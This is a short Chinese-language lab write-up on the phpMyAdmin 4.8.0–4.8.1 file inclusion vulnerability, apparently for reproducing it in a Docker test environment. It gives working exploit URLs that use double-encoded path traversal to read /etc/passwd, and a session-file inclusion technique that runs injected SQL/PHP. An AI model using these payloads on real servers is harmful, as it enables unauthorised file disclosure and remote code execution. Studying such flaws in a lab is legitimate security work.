漏洞原理:
一个攻击者可以在服务器上包含(查看和潜在执行)文件的漏洞被发现。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。攻击者必须经过身份验证,但在这些情况下除外:
$ cfg [‘AllowArbitraryServer’] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码
$ cfg [‘ServerDefault’] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码
影响版本:phpMyAdmin 4.8.0和4.8.1受到影响。
搭建环境:
1、docker-compose up -d
2、直接访问phpmyadmin对应的端口地址 由于配置模式为’config’模式 所以无需账号 直接登陆界面
3、直接利用
方法一:http://127.0.0.1:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
方法二:查询一次sql语句 select phpinfo();
然后自己再去包含文件(查看cookie中键phpmyadmin的值再拿来包含)http://127.0.0.1:8080/index.php?target=db_sql.php%253f/…/…/…/…/…/…/…/…/tmp/sess_16e278c3120d8f7d0122fa4126d0a92a
tips:如果没做过设置,session文件默认是在/var/lib/php/sessions/目录下,文件名是sess_加上你的session字段。(没有权限)
而一般情况下,phpmyadmin的session文件会设置在/tmp目录下,需要在php.ini里把session.auto_start置为1,把session.save_path目录设置为/tmp。
漏洞成因分析:https://www.jianshu.com/p/0d75017c154f